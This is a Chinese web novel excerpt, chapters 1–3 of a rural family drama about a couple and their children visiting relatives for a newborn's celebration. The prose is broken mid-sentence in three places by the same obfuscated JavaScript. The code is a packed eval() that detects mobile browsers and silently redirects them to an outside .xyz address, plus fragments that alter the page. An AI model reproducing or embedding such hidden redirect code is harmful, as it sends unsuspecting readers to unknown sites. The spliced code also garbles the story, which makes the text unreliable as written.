《垄上烟火（种田）》 1. 第 1 章 天将破晓，鸡鸣三遍，门栓落下，丛三老爷家的两扇大门吱呀一声从里打开，门轴缓慢转动，伴随着低沉、老旧地嘎吱。 丛三老爷走出大门坤了两个懒腰，张开嘴打了个大大的哈欠，转动脖子抬头望天。 天蒙蒙亮似笼罩着层迷雾，夜幕下还挂着几颗明亮的星子，四周黑梭梭地看不清，依稀能听到左右邻居窸窸窣窣的说话声，孩童稚嫩的微弱哭啼，妇人软语安慰，男人趿拉着布鞋下床端盆。 丛三老爷深吸了口气，清冷湿润的水汽流进肺腑，神思清明了几分，转身走回堂屋向后院去。 堂屋西间还是漆黑一片，杏娘枕着丈夫曲起的手臂，侧着身子趴在男人的胸口，眼睛闭着嘟囔：“该起了！” 丛孝懒洋洋的含糊了声，依旧仰面躺着不动弹，“侄儿家的洗三礼可备好了？” “早备下了，”杏娘翻了个身，拉了棉被盖到胸口，“融了旧年的一个镯子打了把银锁，添上半吊钱，另有三套小儿衣裳，一双虎头鞋。” 停顿了半晌，丛孝迟疑着问道：“往常到也罢了，现下是不是简薄了？” 杏娘听懂了丈夫的意思，寻常时节乡下人家送礼也就几把鸡蛋，一包红糖亦或半蓝鲜果，都是些家常东西，至亲不过多几件衣裳，送银家伙什已是极厚地礼了。 奈何这次情况着实有些不同，娘家侄儿李苏木打小儿送去医管学医，去岁末通过了官府举办的医学考核取得挂牌行医的资格，年后成了葫芦镇上有名的保安堂坐堂大夫。年方十九才得了这么个哥儿，跟他一般年纪的儿子都能打酱油了。 庄户人家难得出一个吃公家饭的，即便不是自家医馆，也是极为难得。若在一般人家，不说大肆庆祝，张锣打鼓一番，也要清屋扫瓦，喜迎宾客。李老爷子却不是一般人，惯常的不爱张扬，令孙子无事人一样往来于村镇。 只借着这次重孙子洗三，遍邀亲朋好友吃一席好酒，贺一贺两桩喜事。 “才分了家，又出了那么个事，手头哪还有盈余。”杏娘烦恼地叹息，“到哪个山头唱哪支歌，咱家的情势爹娘自是知晓的，何必打肿脸充胖子。” 丛孝翻转身子，一手支着脑袋，一手抚摸媳妇的鬓发，安慰道：“别怕，有我在自会养得活你们娘四个，等忙过春耕就出去找活干，往后不去府城了，就在县城寻摸。” “真的？”杏娘惊喜地坐起身，“先前半点声不透，每逢出去就跟没了个人，家里家外的连个伸把手的都找不到。” “嗯，县城到底离家近，有个什么事两天也能赶回来，剩你们娘老子几个在家，老的老小的小，我再不能放心。”男人承诺。 天光渐亮，屋里模糊看得清人影，杏娘激动难耐地俯身碰了一下他的脸，掀起被子下床拿衣裳，“赶紧的起来给小三儿穿衣裳，我去把叶儿叫醒。” “小二不去？” “让他在爹娘那边继续睡，三个都带上不好看。”杏娘穿好衣裳拿梳子通头发，一头秀发又长又密，每日早上光是挽发髻就是好一通忙活，“清明才过，早晚天冷的紧，给小三穿上过年的厚棉袄。” 一边叮嘱一边披散着头发打开箱子找出衣裳，合上箱笼放在床边上。 丛孝赤裸着胸膛坐起来，青年火力旺，体格虽不粗壮，紧致结实地肌肉有一把子力气，寒冬腊月的从不穿里衣睡觉，嫌不舒坦。他掀开床里侧一小坨隆起的被子，小儿子白胖地身子缩成一团，许是感觉到冷意，肥嫩地屁股往里蠕动，头使劲朝下面拱。 笑意不自觉浮上嘴角，黝黑地大巴掌拍了两下屁股，他捞起小儿子往胳膊上套袖子，“早起走去白水湾？” “这个天一路踩着露水过去，鞋子还要不要了，便是裤腿也要湿个半截。”杏娘嫌弃地皱眉。 “到时人人光鲜亮丽，就你跟个要饭花子似的，你不嫌丢人，我还嫌寒碜。昨儿个晌午跟周老爹定好了，早上送我们过去。快着点，今天那边还不知道怎么忙乱，哪顾得上我们，先吃早饭，自个把肚皮填饱再说。” 说话声才停，最后一个字还没落地，人已经风风火火的打开房门往西隔间去。 被奚落了一顿男人也毫不在意，揽着怀里挣扎不休的小人儿，撅肚子踢腿地翻滚，哼哼唧唧皱眉闹腾。越看越爱，在肉嘟嘟的脸上狠狠香了一口，惹得他哭声大作，男人哈哈大笑出声。 此地位于中部平原地区，荆江由南到北贯穿府城而过，玉陵县分得一条支流，江汉平原一马平川，荆江水流过之处皆为肥田沃土，靠水吃水，一年两季稻谷，瓜果蔬菜从年头吃到年尾，鱼虾蟹藕应有尽有，丝米桑蚕更不在话下。 得水之便，产物丰富，人口繁衍百姓富足，来往商贸自然繁多，大沟小河遍布四野，水网密布云集，跑马且要半个时辰的路程，一竹篙下去就几丈开外了，一盏茶的功夫即到。 故此时人出门皆走水路，货走大船人坐小船，一艘艘纤细窄小地船只穿梭往来于街镇乡野，快速灵巧，热闹非常。 …… 片刻后，丛孝抱着抽泣地小子走出房门，正碰上牵着大女儿手出来的母女，夫妻两个穿过院子走进灶房。 陈氏正坐在灶前团了个草把子塞进灶洞，“饿了吧，再焖一会就好了。” 丛孝张眼望望，问她：“娘，爹呢？” “还能去哪，伺候他的牛祖宗去了！”陈氏没好气地道，“咱们这一大家子捆一起，都比不上他的牛尊贵。” 杏娘笑意盈盈地脸淡了几许，垂下眼睑接过伸手要抱的小儿子，这个家分得不清不楚，黏黏糊糊的膈应人。说是两家一同养牛，老大家既不出人，也不出力，就出了一张骗人的嘴。 拍哄好了小儿子放下地，让他跟姐姐一起玩花绳，杏娘麻利地挽袖子抓了一把腌菜坛里的腊菜，一种冬日里河边草丛野蛮生长的野菜。 掐了嫩绿的顶端上一小截，切的碎碎地拌了盐揉搓，石头底下压一个晚上，隔天就能拿出来吃，用来佐粥最好不过。若是加了葱姜蒜辣酱，热油锅里滚一遍，香辣扑鼻，吃在嘴里咯吱咯吱响，一顿饭能顶两个菜。 灶房后的牛棚，丛三老爷抚摸着老伙计的脊背，“渴了一晚了吧，多喝些水。” 看牛欢快地舔舐水桶咕噜噜地喝，拿起靠墙的大扫把清理给牛踩烂的草料，牛粪用簸箕铲了倒进茅厕旁的积肥坑。 等牛喝完了水，抱了新鲜草料放进槽里，丛三老爷推开灶房后门舀水洗手，陈氏端了粥碗摆在饭桌上，几人坐下呼噜噜吃早饭。 “天色还早，小二醒了再让他吃。”陈氏夹了一筷子腊菜，问道，“这次过去，可要过夜？” 杏娘看了丈夫一眼，低头扒饭没说话，又舀了热粥吹凉了塞进小儿子嘴巴。 丛孝咽下一口粥，接话道：“眼瞅着就要春耕了，还有大撂事要忙，吃了晚上的席面我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457560|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就回来。至于她们娘三，现在还不到忙的时候，好容易有这个机会，老丈人一直念叨叶儿，让她们过上一夜也不碍事。” 回答得如此顺溜，可见早就商量好了，陈氏不置可否的扯了下嘴角，“亲家公、亲家母好福气啊，连孙子都出息了，能享孙子的福啦！” “看娘你说的，您老不也享福，都是一家子，又不是外人。”丛孝安慰他娘。 “那我可比不了，这福气跟福气也是不一样的。”陈氏继续酸言酸语。 丛孝笑了两声，打趣她红眼病犯了，杏娘露出个笑摸样，只管给小儿子喂饭。丛三老爷则从头到尾没出过声，吸溜完一碗粥，放下筷子又往后面走去。 …… 丛孝抱了小的，杏娘牵了大的，一行四人出了大门往东边走去，周老爷子家在最东头。 天色已大亮，河边蹲着洗菜的妇人，挥着扫帚清理屋前空地的老人，男人挑了扁担挂上水桶去井里挑水，家家户户叮铃哐当响个不住。四人一路走，一路寒暄。 “大早上的，看这齐整的衣裳，可是要去走亲戚？” “我娘家侄儿今儿请客。” “可是小李大夫家？” 杏娘点头。 “哎呦，真是件喜事呢，恭喜恭喜！” 杏娘忙道谢。 片刻后，一行人走到最东边一座大宅子前，不同于此地常见的一溜直线的房屋布置，依次是堂屋加左右厢房，中间一个巴掌大的小院子连着灶房，再后就是茅房、猪圈紧挨着池塘、菜园。 这是一栋在北方常见、此处却稀少的正经四合院，方方正正的占了一大片空地。 杏娘羡慕地望着高大的屋脊线，发出惊叹：“这宅子可真气派！” 丛孝失笑的摇头，转身往河边走。 一个颇壮实的男孩正在河边捞豪子，解开出口处包裹的布片，提了豪子往一旁的水桶抖搂，隐约可见黄色的东西滑下来。 豪子用竹篾编制，长两尺左右，两端有口，一为进口，一为出口。进口处有倒齿，喇叭形状，使黄鳝易进难出，出口放置诱饵，可以是蚯蚓、蚌肉等。 傍晚时沿着河边斜放入水中，进口朝下，豪子上覆盖烂泥巴和水草，出口处一小截露出水面。 他往水桶瞄了一眼，里面盘旋了几条黄鳝，粗的有小儿手臂大小，细的比蚯蚓大不了多少，估摸着有三、四斤。黄鳝命贱，离了水照样能活，钻进豪子一夜了丝毫不见萎靡。 “下了几口豪子？” 周邻甩了把手上的烂泥巴，咧嘴笑道：“七叔早，总共下了十口。” 小三撅着屁股扒着水桶的边缘使劲往里瞅，又胆小不敢伸手抓，抬头喊姐姐来看，“蛇，蛇。” “笨蛋，这不是蛇，这是黄鳝。”青叶拉着她娘走过来。 杏娘含笑问：“这时节镇上的黄鳝价不错吧？” “十五文一斤，都快赶上猪肉了。”周邻时常跑镇上，有时一天要几个来回，对各种物价门清。 丛孝拍了拍男孩厚实的肩膀，“好小子，干的不错，你爷爷就指望你了。” 周邻笑的更欢实了，溅了泥水的脸上露出一口白生生的牙齿。 “邻哥儿，明天，嗯，明天有点赶了，这样吧，后天早上给我留一碗刁子鱼，要刚出水的。”杏娘看一眼河中间的渔网说道。 “好咧，七婶。”周邻响亮应声。 2. 第 2 章 玉陵县既是水路发达，以水为生，自然是养活了无数艄公艄婆，两片桨叶破水而出掠过水面，落下时向后拨水，握着桨柄把手的身体规律地前后摆动，小船缓缓擦过河岸，庄稼田舍往后移动。 沿途若有客人想搭乘，只需招一招手，喊一声“船家”，尖尖的船头便缓慢停靠岸边，竹篙插入水中卡住船只等客人上船。 去邻村走亲戚的，攒了鸡蛋菜蔬趁着赶集去卖的，身体不舒服上镇里医馆看病的，不断有人离开，又有人坐进来。能坐八、九人的小船总是塞的满满当当，平稳、热闹地滑行。 周老爷子便是泮水村的艄公，跟老婆子育有两子，两个儿子刚成婚，老婆子就因病去世了，是个福薄之人，操劳半生一点福也没享到。 待到小儿子在外面做起了生意，家业日渐兴旺，置下这偌大的宅院，镇上也经营着铺子，眼看着就要脱离黄土地兴盛起来了，却不想祸事临头。 小儿子常年累月在外行走，一朝风云突变，人在荆江给谋了。消息传回小村庄时小儿媳将将要临盆，受不住这个突如其来的打击，惊惧惶恐地动了胎气。拼着最后一把力气产下一个男孩，还在月子里就撒手人寰。 周老爷子一夕之间丧了儿子、媳妇，抱着刚落地的小孙子老泪纵横。为了养活小婴儿，老爷子擦干眼泪收拾包袱，锁了大门投奔了镇上的大儿子。 不料一年后又带着小孙子回到了村里，买下一条小船。因家门口恰好在最边上，河流转弯，少有行人路过，便散养了十几只荆江麻鸭，靠近岸边张了几片渔网，拦些小鱼小虾。 就这样靠着伺弄两亩水田，寒来暑往的撑船送客，间或卖些鱼虾鸭蛋，周老爷子倒也养活了自个跟小孙子。两人相依为命，磕磕绊绊地生活了八、九年，好在孙子一天天长大，行船打渔都是一把好手，日子方慢慢好过了起来。 周老爷子脚步匆匆自大门走出，急慌慌地来到河边，“见谅见谅，人老事多，劳烦你们久等。” “您说的哪里话，我们也才刚到。”丛孝连忙岔开话，“劳累您一大早起来送我们。” “不说这客套话了，先上船。”周老爷子摆了摆手，解开系在树上的缆绳，用力拉绳子让船头更接近码头，丛孝急走几步过去帮忙。 大人们在一旁寒暄，周邻捡起桶里的一只落单毛蟹递给青叶，“拿去玩吧，两根手指捏住硬壳子的两边就夹不着手。” “我知道，爹爹捉了给我玩过。”青叶得意地扬起下巴，抿嘴一笑露出两个小梨涡。 杏娘先上船，丛孝提了小儿子递给她，又喊大女儿过去抱上船。 刚开春河水不深，竹篙点着岸边，周老爷子嘱咐小孙子，“桌上的碗筷先不收拾，等我回来，你把晌午要吃的菜折了，鸭棚的鸭子放出来。” 小船破开水面荡起一圈圈涟漪，望着远离的小身影，杏娘不禁羡慕地说：“周老爹，您这小孙子到底是怎么养的，翻过年才九岁吧，就比叶儿大了两岁。这个头都快赶上十一、二岁的小子了，个高不说还瓷实，胸膛看着就壮，以后保准是个大高个。您老有什么秘方可不能藏着掖着啊，传些窍门给我们小辈嘛！” 当娘的一见到这种身板结实的小子就眼馋，特别是一想到自家瘦的跟豆芽菜一样的小二，恨不得一天三顿照着人家的食谱来，也养出个粗壮的孩子。 周老爷子大笑出声，乐得见牙不见眼，眼角的纹路都多了两条，夸他孙子比送他两个金元宝更让他高兴，“老头子懂个什么，家里有啥他吃啥，口壮好养活。” “您老是有福之人，眼看孙子就要成人了，拉扯个孩子不容易啊！”杏娘满是感叹。 周老爷子乐不可支，“嗐，说到福气，谁都不能跟李老大夫比，那才是功德箱圆满的人哩！”抽出竹篙捶了下大腿，“幸而年前得了老大夫的几贴膏药，要不然这对老寒腿又要遭罪了。” 日复一日的在水上讨生活，热天还好，三九天冰冷湿润的水汽丝丝缕缕的往骨头缝里钻，填满了缝隙。 青年人尚且要裹着厚棉袄，上了年纪的老人穿多少都没用，寒气隔着棉袄浸入干瘦的皮肤，双腿软的跟面条一样打晃，夜里疼的整宿睡不着，好容易咪着了半夜又被钻心的疼弄醒，真真难熬的很。 说到李老大夫，李杏娘的亲爹，那话可就长了，方圆百里的村子就没人不知道这个充满传奇色彩的人物，就算没见过本人的，也从别处听说过。 李老爷子自幼父母双亡，六岁起就四处流浪乞百家饭为生，居无定所。 夏天睡屋檐冬天挤柴堆，抢野狗吃食喝草头露水，就这么饥一顿饱一顿的也活了下来。 渐渐长大到十一岁，忽一日被不知哪一路的神明附了身，竟开了神智，看得了书识得了字，拿起笔来画得了符咒，还能抓几把草药治病救人了。 至此李老爷子有了正经营生，头戴斗笠身穿布衣，肩背药囊腰挂葫芦，一手摇串铃一手持幡子。穿行于街头巷尾，混迹于乡村市井，既能治人也能看牲畜，成了一名行走四方的铃医。 斗转星移日月如梭，千层底的鞋子由厚变薄，到了成婚的年纪在白水湾娶媳妇安家，到底成了一户人家。 靠着一身行头生育了四子一女，又养活了数十个孙男娣女，枝枝蔓蔓几十年，子又生子，子又生孙，就人口而言，竟成了白水湾的大户。 时光飞逝，稚嫩的面容日渐成熟稳重刚毅，不行医的日子，李老爷子一身青衣道袍，脚踏十方布鞋，手持拂尘，干起了斋醮符箓、祛邪驱鬼及超度亡灵的活计。 若有人起新宅送老人，他也能指点风水、卜卦算命、连通阴阳。 此地既然一马平川，自是没有悬崖峭壁，更是少名庵古寺，连去城隍庙上个香还得跑去县里，故而李老爷子很是忙碌，终日脚不沾地。数十年下来，在周围十里八村闯下点名堂。 总而言之，李老爷子的生计范畴涵盖了一切时下百姓从身体到心理的所有需求，五花八门，涉猎广泛。 待长孙八岁上，因缘际会得了镇上保安堂嫡支沈家的青眼，得以送去府城沈家医馆学医，李老爷子便弃了串铃幡子，不再走乡行医，专门从事旁的事体。 又过了十几年，人已不大记得他也曾诊过脉开过方，都是李老先生的叫着，只有些受过他恩惠的老人，依旧老大夫地称呼。 “您要用着好随时跟我说，几贴膏药我爹那里还是有的。”杏娘弯了唇角，笑意盎然，从小到大，夸她爹的话不知听了凡几，每次听见仍旧高兴。 小三站在父亲腿中间跟姐姐推搡打闹，你拍我一下，我还你一巴掌，嬉笑清脆的童音在水乡安宁的早晨格外响亮。 丛孝两手护着儿女不令跌入水中，并不制止他们闹腾，只含笑听着媳妇欢快言语。 片刻后，小船停在了李家老宅门口的码头。 “您要是不忙的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457561|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，喝杯酒水再走吧。”临上岸前，杏娘邀请周老爷子家去坐坐。 周老爷子摆摆手，“不了不了，正是人多的时候我就不去添乱了，家里还等着，代我向老大夫问个好。” 杏娘点点头挥手，小船沿着来时的痕迹返回。 …… 李老大家门前已立起木桩子，搭了个大大的草棚，里头摆满四张方桌和条凳，大门敞开，堂屋也摆了四桌，隐约听见后院灶房传来的喧哗，诱人的香味伴着烟气四散。 几个街坊邻居忙碌着吃席前的准备，借来的桌椅擦干净摆放整齐，桌子中央放一把小酒壶及若干酒杯，碗筷按每一方坐两人提前摆好。 各个脚步匆忙奔来走去，一行人刚走到大门口，李老大自后院疾步而出，夫妻两喊了声大哥。 “杏娘来了，正好，爹在镇上的几个老朋友要到了，妹婿跟我去迎一迎。你先去娘那边，大儿媳这里才消停，你等一会再过来。”两个小孩头上拍了拍，李老大拽上妹婿就走，杏娘都来不及说话，眼前就没了人影。 “这次来的老者不一般，有几个在镇上都是极有排面的，咱们可得讲究点规矩，不能让人耻笑了。”离得远了，还能听见李老大粗糙的大嗓门嘱咐妹婿。 杏娘好笑地摇头，这个大哥从小就是急性子，做事风风火火，为人大方率性。她望了眼紧闭的西厢房，牵了儿女转身往隔壁老宅走去。 掀开老宅东间门帘，见杨氏坐在床边理衣裳，跟她娘打了招呼，两小儿欢呼地扑到老人怀里喊“外祖母”。 杨氏两手圈了外孙，喜不自胜，走到椅子旁坐下，关心地问道：“今天怎地来得这般早，过早了么？小二怎么没来？” “吃了，您老不用操心。带多了吵闹得慌，他在家跟着爷奶。”杏娘端起茶盏喝一口，“我爹呢，大喜的日子怎么不见他老人家。” “嫌家里吵闹，到别处舒展筋骨去了。”杨氏随口说道，一手揽着小外孙，一手摸外孙女的脸，满面疼惜，“咱们叶儿的脸都瘦了，青果也似比以前轻了些，老丛家狗屁倒灶的破事到累得我外孙吃苦受罪，可怜见的。” 又移了桌上的点心碟子，让他们自个拿了吃。 杏娘瞟了眼被摸了下巴痒得咯咯笑的大女儿，双下巴都叠出来了，这还叫瘦？再斜了眼扭股糖撒娇的小胖子，这体格还轻的话，那世上就没了胖人。偏心偏得都没眼看了，杏娘撇嘴翻了个白眼。 “你做什么怪模怪样，年前姑爷家两兄弟分家，我说过去看看，死老头子非拦着不让，说什么犯不着为着三瓜两枣的伤了脸面。我呸，他是哪个牌面上的人物不成，还三瓜两枣，谁家过日子不是靠这些个。” 杨氏一提起这事就火冒三丈，既恨亲家行事太过，分家分得小儿子家一贫如洗，又气自家老头不肯替小女儿出头。 一说起这次憋屈的分家，杏娘就扯了帕子满腹委屈，“我能咋办，本来都好好的，突然就说要分家，分着分着就成了这样。” “你呀你！”杨氏点着女儿的脑袋，恨铁不成钢，“只长个子不长脑子，白瞎了一副好皮囊。不过最该怪的还是你爹，当初那么多说亲的好人家，他偏偏选了丛家，说是瘦死的骆驼比马大。他怎么就不想想，还有一句老话是落毛的凤凰不如野鸡呢。” 话音刚落，杏娘“噗嗤”笑了。 杨氏又好气又好笑，“你还笑得出来，这次不跟我说清楚不许走！” 3. 第 3 章 母女几人闲聊玩乐，门帘外传来轻盈的脚步声。 帘子掀起，姜氏走了进来，“娘，听说小妹来了？” 杏娘站起身喊“大嫂”，两人厮见后重新落座。 “席面可安排妥当了？”杨氏开口问，“今天来的人不少，饭菜准备的宁愿多些，也不能让人吃不饱失了体面。” 姜氏连忙回答：“按每顿饭多两张桌子预备的饭菜，跟镇上的商贩定好了，鸡鱼鸭肉这些大菜是昨天送来的，吃了午饭，弟妹婶子们就过来忙活开了。鱼是早就煎好的，这个天搁一个晚上正好吃鱼冻，今天开席就能端上桌。做丸子的肉剁碎搓了炸过一遍，等会儿再过一道油更酥脆。” 见杨氏听地认真，姜氏继续说道：“鸡鸭昨天晚上杀了切块，这会儿已经炖上了。其它的时蔬鲜货是天还没亮送过来的。家里的大灶不能熄火，搬了几块砖在院子临时搭了口灶蒸饭，怕人多来不及，安排了人在二弟家再蒸一口灶。” 凡是办红白喜宴的人家，酒席上的饭跟平日里吃的做法不同。大米需提前浸泡煮至半熟，捞起沥干水分后倒入一个大木桶，摊平了用筷子快速扎孔，最后扣上盖子，上面铺一条湿棉巾。 这样蒸出来的米饭晶莹剔透，浓浓的米香夹杂着杉木的清香，吃起来爽口弹牙，就是有点费功夫，一般只有逢年过节、办大事的时候才会做。 杨氏满意地点头，“你向来是个周全人，我是半点不用操心的。” “我们经的事不多，还需要您老指点着过日子！”姜氏轻淡一笑，看了眼吃完点心听大人们说话的女孩，拉过她的手，“过了年青叶就进七岁了吧，愈发有大姑娘的样了，瞧这小模样，比她娘还生得好呢！” “啊？哦！”杏娘楞了一瞬，刚才不是在说饭菜么，怎么一下子跳到大女儿那了，说她女儿，“只长个不长心，还是个不知事的小东西。” 仿佛是为了印证这句话，青叶急急忙忙问姜氏：“大舅妈，大公鸡尾巴上的鸡毛丢了吗？我要扎鸡毛毽子。” “没有，还留着呢。” 青叶继续追问：“是鸡死后拔的毛吗？如果是在活鸡身上拔毛，毽子跳起来会跑的。” 姜氏安慰她：“放心，是死鸡上拽下的毛，保证跳起来不会跑。” 青叶满意地点点头，一副后怕的样子。 杨氏一哂，转过头对杏娘道：“早上来得早，是不是还没见过你侄孙儿，先过去看看，等会人多起来下脚的地都没。” …… 几人进了李老大家西厢房，卫氏斜靠着叠起的被子养神，听见敲门声睁开眼睛，“门没栓。”说着就要下地开门。 杨氏推开门，“快别下地，都不是外人，你小姑来看你了。” 刚生产完的房间一般来说不是很清爽，小娃的尿骚味、奶腥味还有一股憋闷堵窒感，杏娘走进来却察觉到一丝清凉，原来是窗户开了一条口子，冷然的气息冲淡了屋里的瘀滞。 她打量了眼这个侄媳妇，穿着崭新的嫩黄色夹袄，配青绿色罗裙，头发梳地整整齐齐系了一条深蓝色抹额，“看你气色还不错，只是脸色发白眼下有点青黑，我生老大那会不洗脸不梳头，两眼发黑一脸苍白，跟只鬼没什么两样。” 一番话说得众人哄笑，杨氏抖着手指着女儿，“你自个埋汰还好意思说出来，孙媳妇可没你这么懒散。” 杏娘不以为意，“疼都疼死了，我恨不得一直躺着才好。” 卫氏掩唇一笑，半坐起身靠着被子，“生的时候确实疼的很，这几天缓过来些，奶奶和娘心疼我，官哥儿也不怎么闹人。” “官哥儿呢，醒了没？”姜氏忙问道。 “刚换尿布哭了一鼻子，吃了奶又睡过去了。”卫氏从床里侧小心抱起一个大红包被，动作轻盈满脸温柔。 几人弯下腰凑过去看小婴儿。 “哎，你们看，小家伙眼角还挂着泪珠子呢，可怜见的。” “好像比生下来时长开了些。” 杏娘也点评道：“眉毛眼睛像苏木，鼻子跟小婉一个样，日后一定也是个俊俏小哥。” 青叶挤在最里边，踮脚努力朝包被里看，这个脑袋尖尖皱巴巴跟猴子似的家伙长得好看？ 想起大表哥弯曲含笑的眼睛，跟前表嫂秀气的鼻子。看一眼这个眉毛淡得几乎没有，眼皮肿成一条缝，鼻子高得只剩两个孔的表侄子，青叶的眉头拧成了问号：大人们到底是怎么看的，这怎么就像了呢？ 听着她们的附和声，你一言我一语的讨论着奶娃娃的长相，青叶怀疑地抿紧嘴巴，难道是我太笨了没看出来？继续死盯着婴儿看。 杏娘一把抓住小儿子伸向包被蠢蠢欲动的肥手，“眼看手不动。”又转头问卫氏，“可吃了醪糟鸡蛋？” “吃了。”想起了什么有趣的事情，卫氏笑不可仰。 “每天早起娘就煮5个醪糟蛋给我吃，我吃上三个喝半碗汤就饱了。剩下的又不好浪费，全进了大爷的肚子，他说再吃下去他都能喂奶了。” 醪糟鸡蛋是本地专门给产妇吃的食物，把浸泡了的糯米蒸熟，撒上几滴凉水，微凉后拌进酒曲，用手压平中间掏一个洞，盖上盖子闷一个日夜即可。吃时加入少量水一起煮开，鸡蛋磕了滑进去，起锅时还可添一些红糖。 酒香浓而不烈，清甜爽口，最是有利产妇下奶，还能调理身子，治疗血瘀，腰酸背痛。 又是一阵哄笑，杏娘伏在她娘肩上揉着肚子叫“哎呦”，姜氏哭笑不得，“我说苏木最近怎么脸色红润还胖了好些，原来缘故在这里。” 一时又说些产妇保养，婴儿喂养的诸搬注意事项，屋里欢声笑语好不热闹。 “呦！大老远就听到这里欢快地紧，原来亲家母和亲家奶奶都在这呢。”一道尖利的女声突兀地响起。 几人转头望过去，卫氏的娘汪氏来了。 姜氏忙走上前接待，“亲家母可吃了早饭？说得高兴到忘了时辰。” “我寻思着今儿是我闺女和大外孙的好日子，我得来早些给挣个脸面，就没吃早饭，谁成想有人比我更早。” 杏娘眉毛微皱又松开，扯了下嘴角站着不说话。 “小妹离的近，来的就早了些，其实都差不多。”姜氏轻声细语，“我们刚刚还在说您外孙长得好呢，您来瞧瞧，是不是跟出生时不一样了。” 汪氏走到床头坐下，接过包被仔细打量，“是比出生时富态了，可见你娘的奶水好。”又跟坐在床尾的杨氏打招呼，“亲家奶奶身体一向可好？” 杨氏淡淡一笑，“我呀，吃得饱穿得暖，好得很。” “亲家奶奶是有大福气的人。”汪氏恭维道。 顺着目光看向站在后头的杏娘。穿着一件半新的桃红色夹袄，深蓝色罗裙，除了身段略有些丰腴，脸色白里透红，最惹眼的是一双明亮清透的杏眼，带着些许不谙世事的天真，想来日子过地顺遂。 “这要不说，谁能看出姑奶奶生了三个孩子，我的婉儿以后要是有姑奶奶这造化，我就是死也闭眼。” 杏娘迎着她泛着精光的三角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457562|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼，皮笑肉不笑地，“亲家母说笑了，小辈只有比我们好的，谁还能盼着他们不好不成。” “娘，您不是还没吃早饭，先去灶房垫下肚子。”卫氏连忙道，打断她娘将出口的话。 姜氏在一旁补充：“眼下灶房正是忙乱的时候，还是我去端了来。” “那亲家母跟女儿好好亲香，我们就不打扰了。”杨氏见状站起身，叮嘱孙媳妇，“月子里万不可劳累，缺什么跟你娘说，身子不舒坦告诉木哥儿，你只管照顾好自个跟孩子。” 几人走出房间，汪氏跟到门边站住脚，打眼朝外张望一圈，缩回头关了房门。 “啧啧，你们家老太太还是那副八风不动，万事不操心的模样。”她走到椅子边坐下，提起茶壶倒了一杯茶。 “这茶怎么淡淡的，别是隔夜的吧。我跟你说，你现下生了李家的重孙，正是该享用的时候，你不花用不是白白便宜了别人。” 卫氏无奈地解释：“您不要瞎说，我在坐月子不喝茶，大爷本就爱喝清茶，也没人会苛待我。” “还说没慢待，这刚生了孩子怎么敢开窗户，天又冷，看冻着了我的小外孙，李家做事也太不讲究了。”汪氏挑剔地扫过房内，目光碰到半敞的窗户似抓到了什么把柄，几步上前就要关上。 “娘，别关，大爷交代了每隔一个时辰开道口子一刻钟，还不到关的时候。”卫氏忙阻拦，“您坐下歇会儿，咱们说说话。” 汪氏讪讪放下手，撇嘴道：“原来是女婿吩咐的，你也不早说，害我白担心。” 走到桌边掀开杏娘留下的包袱皮，拿起银锁掂了掂，总有个六、七两的样子，也就罢了。扒拉余下的铜板、衣裳，料子是细棉布，线头都留在外面，可见是用了心的。 像是想起了什么，她走到床边压低嗓门：“老李家那个姑奶奶，以前不是说嫁的多好，老两口多疼爱，我看也就那样。她身上穿的衣料还不如我的新呢，装什么阔气。” 说着满意地拍了拍身上崭新的藏蓝色夹袄，这匹布还是大闺女孝敬他们老两口的，新打的棉花塞得满满当当，过年都没舍得多穿，就是等着今天这样的大日子。 卫氏无声地长叹一口气，依旧温声细语：“小姑最是得爷奶疼爱，她的日子自是过得好的，娘你不要听外人胡言乱语，大爷跟小姑的感情是最好的。” 停顿了一下，接着问：“爹去哪了？小妹怎么没来？” “你爹还能去哪，听到别人吹捧两句就挪不动脚，他们爷三都在外面听人捧臭脚。” 汪氏不屑地哼了一声，眼珠一转，讨好地压低身子靠近大女儿，“小蝶个死丫头被我惯坏了，早上闹着要穿新衣裳，被我说了两句就赌气不来了。不过说来也不能全怪她，你们是嫡亲的姐妹，她穿的不好你也脸色无光不是。” 觑了眼大女儿，一脸云淡风轻地笑着，看不出来什么想法。 “你看，是不是该给你小妹添几件新衣裳，她也一天天大了，该好好打扮起来才是。日后有了好前程，你们姐妹正好相帮着，我们家还怕没有好日子过。” 卫氏温柔地环抱着孩子，一手轻轻拍打，听了她娘的话垂下眼皮，手停顿了一瞬继续拍抚。 看着襁褓中的婴儿轻声说：“小妹自小就出落得好，确实是要仔细装扮。只不过我还在月子，家里忙乱不堪也没什么好东西，等过些日子我们搬到镇上，到时去布庄细细挑选一番，定要买到小妹满意的布匹才好。” 